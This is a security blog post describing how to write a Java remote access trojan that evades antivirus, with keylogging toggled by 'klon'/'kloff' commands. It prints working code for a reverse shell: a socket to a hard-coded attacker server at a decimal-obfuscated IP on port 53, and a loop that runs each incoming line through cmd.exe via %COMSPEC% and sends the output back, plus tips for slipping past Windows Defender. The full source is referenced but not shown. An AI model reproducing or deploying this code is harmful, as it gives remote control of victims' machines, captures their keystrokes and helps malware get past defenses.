Arti Karahoda

Cyber Security & Data Protection


31 August, 2020Go back to homepage

Evading AV with Network Sockets / Keylogger RAT

RAT trojans typically use WinAPI functions for injecting malicious shellcode in memory (RAM) which is then executed. While there are numerous methods of evading anti-malware or EDR solutions for such RATs that reside in disk using techniques such as partial code encryption, they can still be caught during runtime as a result of vendors using behaviour analysis through machine learning for exploit prevention. Such controls are difficult to bypass, however, instead of leveraging WinAPI calls this time, sometimes simplicity is key.

A network socket is an endpoint of a two-way communication (TCP or UDP), identified by an IP address and a port number, which is used to send or receive data within a node on a computer network (could be LAN, WAN). They have a wide range of use cases, usually in a client-server architecture such as basic chat applications. A lot of programming languages implement libraries for programming sockets, and in this case, I will be using Java considering that it can be compiled to bytecode in almost all operating systems which have JVM. Furthermore, its compile logic makes most of the Java applications seem legitimate, such as our case in programming a RAT trojan with a simple keylogging capability.

Unfortunately, in comparison with Python, Java requires more lines of code for using sockets. For demonstration purposes, I will be using one of my VPS servers as the listener IP address of 185.141.61.227, which can be written in decimal format as "3113041379" thanks to IP-Obfuscator.py:

Socket s = new Socket("3113041379", 53);

This will initiate a communication channel with the CNC server, so you need a listener program such as netcat (for the sake of demonstration) operating in port 53 – a common port found in malware as it is mainly allowed in firewalls and typically not scrutinized enough from a security perspective. Sockets in Java also require input and output streams for basic I/O operations, as well as PrintWriter() and BufferedReader() to properly write outward data.

InputStream i = s.getInputStream();
OutputStream o = s.getOutputStream();
PrintWriter pw = new PrintWriter(o, true);
BufferedReader rr = new BufferedReader(new InputStreamReader(i));

Since our target OS is Windows, we will use the %COMSPEC% environment variable which simply points to C:\WINDOWS\system32\cmd.exe – useful in bypassing string-referenced checks – to execute incoming data from a non-empty buffer:

String inc, comSpec = System.getenv("comSpec") + " /c ";

while(true){
    if((inc = rr.readLine()) != null){
        Process p = Runtime.getRuntime().exec(comSpec + inc);
        Scanner sc = new Scanner(p.getInputStream());
        while (sc.hasNext()) pw.println(sc.nextLine());
        pw.flush();
        sc.close();
    }
}

Furthermore, we will also use the Path object to send the current working directory before command output for readability and convenience:

Path crp = Paths.get("");
String rp = crp.toAbsolutePath().toString();

To add keylogging capabilities in real-time through sockets, I used the log4j API utility to capture user keystrokes. After integration, the full source code is as follows:

Compiling this Java program into a Windows executable comprises of converting .jar to .exe using various tools, however, I will be using the IntelliJ IDE to directly build a binary artifact and run the program along a fully up-to-date Windows Defender. The klon keyword will trigger the keylogging capability, whereas kloff will stop the key listener:

Proof of Concept

Used libraries:

Disclaimer: Usage of this application for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. I assume no liability and I am not responsible for any misuse or damage caused.

Go back to homepage


Share this on: